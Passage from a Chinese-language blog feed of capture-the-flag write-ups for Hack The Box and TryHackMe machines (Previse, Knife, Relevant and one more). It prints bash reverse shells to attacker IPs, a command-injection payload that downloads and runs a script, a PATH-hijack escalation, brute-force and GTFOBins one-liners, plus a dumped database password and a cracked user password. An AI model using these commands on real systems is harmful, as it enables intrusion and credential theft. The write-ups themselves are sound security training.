&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bf202-b7Qrl7f.png"&gt;&lt;/li&gt;
&lt;li&gt;發現裡面有一個 &lt;code&gt;scripts&lt;/code&gt; 資料夾先把裡面所有檔案都載下來&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d84b2-KsKVdo3.png"&gt;觀察檔案- &lt;code&gt;clean.sh&lt;/code&gt;看起來是一段 清除資料的 bash script&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2af44-4Lcnfv6.png"&gt;&lt;code&gt;removed_files.log&lt;/code&gt;- 看起來東西都是空的，是上述腳本的輸出&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/235b8-0mXudWi.png"&gt;&lt;code&gt;to_do.txt&lt;/code&gt;- 看起來沒有很重要&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e779e-PTl2P7B.png"&gt;嘗試連線 SMB- 發現有一個 pics 資料夾&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f182b-i7i7LGJ.png"&gt;裡面有兩張圖片- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4f4d3-WXjKMEq.png"&gt;把兩張圖片載下來- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e61db-ZRYflNb.png"&gt;觀察圖片- 看起來是狗勾!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ef648-jLqjCjO.png"&gt;用 Exif tool 觀察- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b9509-MSukA0V.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/239c2-rc3Z36u.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看出 Photoshop 編輯過後來還用了 &lt;code&gt;steghide&lt;/code&gt; 等程式，都沒有結果&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="嘗試-exploit"&gt;嘗試 Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;尋找到 Vsftpd 2.3.4 有 Exploithttps://www.exploit-db.com/exploits/49757&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget https://www.exploit-db.com/download/49757 -O 49757.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現他是 Anonymous only，所以這個 Exploit 不能用!!&lt;/li&gt;
&lt;li&gt;用了 msf 也是一樣的結果 QQ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/49929-P18sSV3.png"&gt;突然想到，說不定 ftp 上面的 &lt;code&gt;clean.sh&lt;/code&gt; 是一個 cron job- 我們既然有讀寫的權限，可以在上面戳個 reverse shell 再傳上去&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo bash -c &amp;quot;'bash -i &amp;gt;&amp;amp; /dev/tcp /10.13.21.55/7877 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt;&amp;gt; clean.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;本地端開 nc 來接成功接上ㄌ- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/94acc-0iyaFLU.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 User flag&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3f5ba-ysQnHSX.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;看起來沒東西 QQ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a630b-m70zKKl.png"&gt;準備 Linenum- &lt;code&gt;wget 10.13.21.55:8000/LinEnum.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;掃到了 &lt;code&gt;/usr/bin/env&lt;/code&gt; 有 suid&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9c605-NhM5A75.png"&gt;透過 &lt;a href="https://gtfobins.github.io/gtfobins/env/#suid"&gt;GTFOBins&lt;/a&gt; 尋找 env SUID 提權- &lt;code&gt;/usr/bin/env /bin/sh -p&lt;/code&gt;成功提權- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f3cc8-qbMSXz6.png"&gt;&lt;/li&gt;
&lt;li&gt;取得 Root Flag&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/33329-vsaOGRa.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="心得"&gt;心得&lt;/h2&gt;
&lt;p&gt;FTP 上面的檔案也有可能是 Cron Job，看到 shell 就優先懷疑它是 cron ，看看能不能戳一些東西上去。打 Exploit 前須要先確定一下他有沒有一些限制(FTP的不能是 Anonymous登入)。&lt;/p&gt;</description></item><item><title>Previse (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/08/11/previse-hack-the-box-writeup/</link><pubDate>Wed, 11 Aug 2021 14:04:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/11/previse-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/373"&gt;https://app.hackthebox.eu/machines/373&lt;/a&gt;&lt;br&gt;
IP : &lt;code&gt;10.129.212.165&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.129.212.165&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現有開 22 跟 80&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/57aac-JJ3Fgbs.png"&gt;掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.129.212.165/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/908d4-kCLVQCp.png"&gt;&lt;/li&gt;
&lt;li&gt;基本上沒有什麼有趣的東西不過有發現有滿多的目錄都會被導到 &lt;code&gt;login.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;先事後諸葛的講一下，注意他們的302檔案大小不同&lt;/li&gt;
&lt;li&gt;隨便點開幾個沒有關 index of 的目錄&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b56bb-9ypc7Qy.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ab15f-Pk1uGAX.png"&gt;&lt;/li&gt;
&lt;li&gt;看不出什麼&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="準備-exploit"&gt;準備 Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;其實 Recon 玩之後，我就走投無路的卡了兩個小時，途中包含嘗試了 hydra 爆破&lt;code&gt;hydra -L user.txt -P /opt/rockyou.txt 10.129.212.165 http-post-form &amp;quot;/login.php:username=^USER^&amp;amp;password=^PASS^:Login Failed:login.php&amp;quot;&lt;/code&gt;後來發現了他們的 302 大小不同- 這叫做 &lt;code&gt;Execute After Redirect (EAR)&lt;/code&gt; 感謝唉嗚提供!&lt;/li&gt;
&lt;li&gt;可以用 Burp 把 Response 也抓包抓起來&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ac708-XwipB0h.png"&gt;&lt;/li&gt;
&lt;li&gt;並徒手把 301 的 Redirect 改回 200就可以直接在不登入的狀況下訪問各種目錄了- 這算 OWASP TOP 10 的 A2-Broken Authentication&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8b706-pdEC3vt.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/28ae0-ThTYQAd.png"&gt;&lt;/li&gt;
&lt;li&gt;我們先創一個自己的帳號然後進去亂晃其中在檔案下載的地方，有網頁的原始碼- 可以在 &lt;code&gt;logs.php發現一個明顯的 Command injection 漏洞，但它貌似不會回顯![](/uploads/2022/02/51a0f-QdUn7fX.png)使用 Command injection- &lt;/code&gt;curl &amp;lsquo;http://10.129.212.165/logs.php&amp;rsquo; -H &amp;lsquo;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;rsquo; -H &amp;lsquo;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,&lt;em&gt;/&lt;/em&gt;;q=0.8&amp;rsquo; -H &amp;lsquo;Accept-Language: en-US,en;q=0.5&amp;rsquo; &amp;ndash;compressed -H &amp;lsquo;Content-Type: application/x-www-form-urlencoded&amp;rsquo; -H &amp;lsquo;Origin: http://10.129.212.165&amp;rsquo; -H &amp;lsquo;Connection: keep-alive&amp;rsquo; -H &amp;lsquo;Referer: http://10.129.212.165/file_logs.php&amp;rsquo; -H &amp;lsquo;Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd&amp;rsquo; -H &amp;lsquo;Upgrade-Insecure-Requests: 1&amp;rsquo; &amp;ndash;data-raw &amp;lsquo;delim=comma;curl -o /tmp/s 10.10.14.47:8000/s_HTB &amp;lsquo;`&lt;/li&gt;
&lt;li&gt;成功載下了我們的 rever sehell&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.47/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5a588-34paVQN.png"&gt;也成功執行起來ㄌ&lt;code&gt; curl 'http://10.129.212.165/logs.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.129.212.165' -H 'Connection: keep-alive' -H 'Referer: http://10.129.212.165/file_logs.php' -H 'Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'delim=comma;bash /tmp/s'&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7cae-YCte2rL.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="一次提權"&gt;一次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;發現我們不能 cat user flag&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/83612-JYyiOQx.png"&gt;觀察 &lt;code&gt;sudo -l&lt;/code&gt;- 我們不能用 sudo 做任何事情&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3e44-yiiNAXZ.png"&gt;從 &lt;code&gt;config.php&lt;/code&gt; 可以找到資料庫名稱跟密碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cd885-8Y0jBv2.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$host&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$user&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$passwd&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;mySQL_p@ssw0rd!:)&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$db&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;previse&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$mycon&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;new&lt;/span&gt; mysqli(&lt;span style="color:#8be9fd;font-style:italic"&gt;$host&lt;/span&gt;, &lt;span style="color:#8be9fd;font-style:italic"&gt;$user&lt;/span&gt;, &lt;span style="color:#8be9fd;font-style:italic"&gt;$passwd&lt;/span&gt;, &lt;span style="color:#8be9fd;font-style:italic"&gt;$db&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;return&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;$mycon&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;嘗試把 sql 給 dump 出來&lt;code&gt;mysqldump -u root -h localhost -p previse &amp;gt; a.sql&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/641bb-8yfW75r.png"&gt;&lt;/li&gt;
&lt;li&gt;再載下來&lt;code&gt;wget 10.129.212.165/a.sql&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4dc85-Pibp3sV.png"&gt;可以觀察到一段帳號跟使用者密馬 hash- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b57ae-WsWuXNF.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;m4lwhere','$1$ðŸ§‚llol$DQpmdvnb7EeuO6UaqRItf.'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 &lt;a href="https://www.tunnelsup.com/hash-analyzer/"&gt;Hash Analyzer&lt;/a&gt;分析&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/57e43-1kx3I9W.png"&gt;&lt;/li&gt;
&lt;li&gt;發現是 &lt;code&gt;MD5-Crypt&lt;/code&gt;而我自己的使用者密碼也在資料庫中，發現到他們的 Salt 一樣- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c779a-72QlQPu.png"&gt;&lt;/li&gt;
&lt;li&gt;直接破會發現解不開 QQ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a0632-nTmH5uZ.png"&gt;觀察原始碼發現它的 salt 是固定的，而且用了 Unicode 的 Emoji- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7b67b-4GmD2ui.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.&lt;/code&gt;重新修正後就可以用 john 來解ㄌ!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b6d98-JO0E1mo.png"&gt;另外這邊也可以用 Hash Cat 來解- &lt;code&gt;hashcat -m 500 hash.txt rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可以觀察 Hash cat 的網站，尋找 MD5-Crypt 的代號是 500https://hashcat.net/wiki/doku.php?id=example_hashes&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/db334-I0M0qIK.png"&gt;因此我們就取的了一組帳密- &lt;code&gt;m4lwhere&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ilovecody112235!&lt;/code&gt;也可以順利的 SSH 上去了- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c7dfe-UlnFQjt.png"&gt;取得 User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9628d-ZkPZqFf.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aad354dc018b14716dee8310d8f90c03&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="準備二次提權"&gt;準備二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5e5b-Ipn20vZ.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們可以用 sudo 執行 &lt;code&gt;access_backup.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但是我們不行對這個檔案進行寫入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/481d6-2mMRdRt.png"&gt;發現程式會呼叫 &lt;code&gt;date&lt;/code&gt; 的相對位置- 所以我們可以用 Path 誤導程式，執行我們的腳本&lt;/li&gt;
&lt;li&gt;在本地家目錄創一個 &lt;code&gt;date&lt;/code&gt; 檔案，設定 x 權限並寫入 Reverse shell&lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.47/7878 0&amp;gt;&amp;amp;1'!&lt;/code&gt;執行 &lt;code&gt;PATH=/home/m4lwhere:$PATH sudo /opt/scripts/access_backup.sh&lt;/code&gt;順利取得 Root!!- &lt;a href="https://i.imgur.com/x7l8YDF.png"&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c1c2-I9ANt6M.png"&gt;&lt;/p&gt;</description></item><item><title>Knife (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/08/11/knife-hack-the-box-writeup/</link><pubDate>Wed, 11 Aug 2021 13:59:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/11/knife-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/347"&gt;https://app.hackthebox.eu/machines/347&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.69.238&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.69.238 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ab932-eytEe9s.png"&gt;&lt;/li&gt;
&lt;li&gt;有開 80 跟 443觀察 Wappalyzer- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/90097-uJRIGKU.png"&gt;Apache 2.4.41&lt;/li&gt;
&lt;li&gt;PHP8.1.0&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9bf37-E7SBRv4.png"&gt;掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.10.10.242/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;看起來沒有東西 QQ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c45e9-Kx8h2w7.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;找到 php 8.1.0 有 RCE 漏洞https://github.com/flast101/php-8.1.0-dev-backdoor-rce&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce&lt;/code&gt;執行起來- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6ff8c-pzJQzlP.png"&gt;&lt;/li&gt;
&lt;li&gt;就成功拿到 Shell ㄌ也可以執行另外一個 reverse shell 版本- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c447-4JZGBvV.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/afee6-qZkm9Zo.png"&gt;取得 &lt;code&gt;user.txt&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9d742-FWppblD.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5812f-xPJsZM9.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們可以用 &lt;code&gt;sudo knife&lt;/code&gt;&lt;a href="https://gtfobins.github.io/gtfobins/knife/#sudo"&gt;GTFOBins&lt;/a&gt; 尋找刀子的 sudo 提權- &lt;code&gt;sudo knife exec -E 'exec &amp;quot;/bin/sh&amp;quot;'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就提權成功ㄌ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/604dc-VHcpqD3.png"&gt;取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/19511-UVMDqRH.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="心得"&gt;心得&lt;/h2&gt;
&lt;p&gt;這題提醒我們，還是需要優先確認各種服務的版本號。&lt;/p&gt;</description></item><item><title>Relevant (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/10/relevant-try-hack-me-writeup/</link><pubDate>Tue, 10 Aug 2021 13:13:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/10/relevant-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/relevant"&gt;https://tryhackme.com/room/relevant&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.115.198&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rustscan -a 10.10.115.198&lt;/code&gt;發現有開80&lt;/li&gt;
&lt;li&gt;135&lt;/li&gt;
&lt;li&gt;139&lt;/li&gt;
&lt;li&gt;445&lt;/li&gt;
&lt;li&gt;3389&lt;code&gt;nmap -A 10.10.115.198&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 01:58 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report for 10.10.115.198
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up (0.28s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: 995 filtered ports
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods: TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/10.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: IIS Windows Server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open netbios-ssn Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3389/tcp open ssl/ms-wbt-server?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| rdp-ntlm-info:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Target_Name: RELEVANT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Domain_Name: RELEVANT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Computer_Name: RELEVANT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Domain_Name: Relevant
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Computer_Name: Relevant
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Product_Version: 10.0.14393
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ System_Time: 2021-08-09T06:00:45+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert: Subject: commonName=Relevant
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before: 2021-08-08T05:57:43
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Not valid after: 2022-02-07T05:57:43
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: 2021-08-09T06:01:24+00:00; 0s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Computer name: Relevant
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS computer name: RELEVANT\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Workgroup: WORKGROUP\x00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ System time: 2021-08-08T23:00:47-07:00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ message_signing: disabled (dangerous, but default)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2.02:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2021-08-09T06:00:49
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: 2021-08-09T05:58:06
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
